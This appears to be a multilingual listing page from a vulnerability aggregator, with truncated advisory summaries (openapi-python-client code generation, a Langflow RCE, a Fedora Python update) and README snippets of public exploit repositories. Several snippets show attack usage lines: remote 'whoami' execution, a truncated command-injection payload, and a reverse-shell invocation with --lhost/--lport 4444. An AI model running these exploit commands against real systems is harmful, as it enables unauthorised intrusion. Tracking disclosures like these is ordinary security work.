GHSA-5293-MQ8X-G3XJ openapi-python-client: Malicious OpenAPI Documents can cause Arbitrary Code Generation

Impact A malicious OpenAPI document processed by any openapi-python-client prior to 0.29.1 can generate arbitrary Python code. When anyone imports the malicious client, that arbitrary Python code will execute. Patches Versions starting with 0.29.1 have updated with guardrails to prevent arbitrary...

GitMiner3

Autor: UnkL4b Сайт: bravul.com Блог: unkl4b.github.io Github: UnkL4b X: @UnkL4b ПРЕДУПРЕЖДЕНИЕ +---------------------------------------------------+ | РАЗРАБОТЧИКИ НЕ НЕСУТ НИКАКОЙ ОТВЕТСТВЕННОСТИ И | | НЕ ОТВЕЧАЮТ ЗА ЛЮБОЕ НЕПРАВИЛЬНОЕ ИСПОЛЬЗОВАНИЕ | | ИЛИ УЩЕРБ, ПРИЧИНЁННЫЙ ЭТОЙ ПРОГРАММОЙ |...

pastokrapacefleciks

pastokrapacefleciks, WireShark - PRO анализатор Использование: Поместите ваш .pcapng файл в директорию pastokrapacefleciks python .\pastokrapacefleciks.py python3 .\pastokrapacefleciks.py Проверьте ваш HTML отчёт...

CVE-2023-43364-Searchor-RCE-Exploit

CVE-2023-43364 – Эксплойт RCE для Searchor PoC Удаленное выполнение кода RCE через небезопасное использование eval в Searchor --test Выполнение произвольной команды Выполните любую команду на целевом сервере: python3 CVE-2023-43364.py -a "whoami" Примеры: python3 CVE-2023-43364.py -a "TF=$mktemp...

CVE-2026-105801

openapi-python-client generates Python clients from OpenAPI documents. Prior to 0.29.1, the generator does not safely neutralize malicious OpenAPI document content before rendering string, docstring, and f-string contexts in generated Python. The generated Python client can contain...

CVE-2026-105801 openapi-python-client: Malicious OpenAPI Documents can cause Arbitrary Code Generation

openapi-python-client generates Python clients from OpenAPI documents. Prior to 0.29.1, the generator does not safely neutralize malicious OpenAPI document content before rendering string, docstring, and f-string contexts in generated Python. The generated Python client can contain...

CVE-2026-105801 openapi-python-client: Malicious OpenAPI Documents can cause Arbitrary Code Generation

openapi-python-client generates Python clients from OpenAPI documents. Prior to 0.29.1, the generator does not safely neutralize malicious OpenAPI document content before rendering string, docstring, and f-string contexts in generated Python. The generated Python client can contain...

CVE-2026-105801

The openapi-python-client library (prior to version 0.29.1 ) is vulnerable to arbitrary code generation because it fails to neutralize malicious content within OpenAPI documents before rendering string, docstring, and f-string contexts . An attacker providing a malicious OpenAPI document can caus...

EUVD-2026-93435

openapi-python-client generates Python clients from OpenAPI documents. Prior to 0.29.1, the generator does not safely neutralize malicious OpenAPI document content before rendering string, docstring, and f-string contexts in generated Python. The generated Python client can contain...

numpy-1.13.1

Statut Travis CI --- NumPy est le package fondamental nécessaire au calcul scientifique avec Python. Ce package contient : un puissant objet tableau N-dimensionnel des fonctions sophistiquées broadcasting des outils pour intégrer du code C/C++ et Fortran des capacités utiles en algèbre linéaire,...

CVE-2025-58434-PoC

CVE-2025-58434 PoC PoC-скрипт на Python для запуска POST /api/v1/account/forgot-password. ⚠️ Только для образовательных и авторизованных исследований безопасности. Запуск этого инструмента против систем, которыми вы не владеете или на тестирование которых у вас нет письменного разрешения, является...

mcpshield

mcpshield Готовое исправление для непатченной уязвимости инъекции команд в MCP STDIO семейство CVE-2026-30623, раскрытое OX Security в апреле 2026 года как «by design» — патча SDK не будет. Добавьте одну строку импорта — и каждый stdio MCP-сервер, запускаемый вашим Python-приложением, будет...

[SECURITY] Fedora 45 Update: python3.15-3.15.0~rc3-2.fc45

Python 3.15 is an accessible, high-level, dynamically typed, interpreted programming language, designed with an emphasis on code readability. It includes an extensive standard library, and has a vast ecosystem of third-party libraries...

CVE-2026-19650-CVE-2026-19478

cve-id Пожертвования Поддержите сопровождение этого проекта через PayPal или отсканировав QR-код ниже. ⚡ Простое использование Используйте этот проект только в безопасных и авторизованных средах, таких как: Локальные виртуальные машины Контейнеры Docker Изолированные лабораторные среды...

CVE-2012-2982

CVE-2012-2982 John Hammond | 2021년 9월 4일 searchsploit로 Webmin 1.580을 확인해 보니 레거시 Webmin 버전에 대한 /file/show.cgi 원격 코드 실행 공격용 Metasploit 모듈만 보였습니다. 이 코드는 Metasploit을 사용하지 않고 이를 Python으로 재현하려는 시도입니다. 파일 CVE-2021-2982.py - 단일 명령을 실행할 수 있는 일회성 기능을 제공합니다...

EUVD-2026-38245

Langflow: PythonREPLComponent executes unsandboxed Python code, enabling authenticated RCE and privilege escalation...

Global-Protect_VPN_Vuln

CVE-2024-3400 Эта программа была улучшена и теперь включает функцию безопасности, которая перехватит случаи, приводящие к тому, что скрипт зациклится при выполнении. Исходный скрипт создан пользователем retkoussa и доступен здесь. Проблема предыдущего скрипта:- Скрипт завершается ошибкой, если...

CVE-2026-5426

CVE-2026-5426 ⚡ 简单使用 请仅在安全且获得授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验环境 已授权的渗透测试环境 示例设置： git clone cd 示例用法： 测试单个目标是否存在漏洞 python cve-2026-5426.py -t https://example.com 从文件扫描多个目标 python cve-2026-5426.py -t targets.txt 在存在漏洞的目标上执行命令 python cve-2026-5426.py -t https://example.com -c "whoami" 执行复杂命令...

CVE-2026-5562-Exploit

CVE-2026-5562 Exploit Предупреждение Этот репозиторий содержит proof-of-concept исследовательский скрипт для проверки подверженности в контролируемой среде. Он предназначен только для исследовательских и образовательных целей и не должен использоваться против производственных систем, на которые у...

CVE-2021-21425-RCE

это моя версия, я нашел много в интернете, но они слишком плохие ИСПОЛЬЗОВАНИЕ python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 ждать.. 60 секунд - вы получите shell на ваш listener...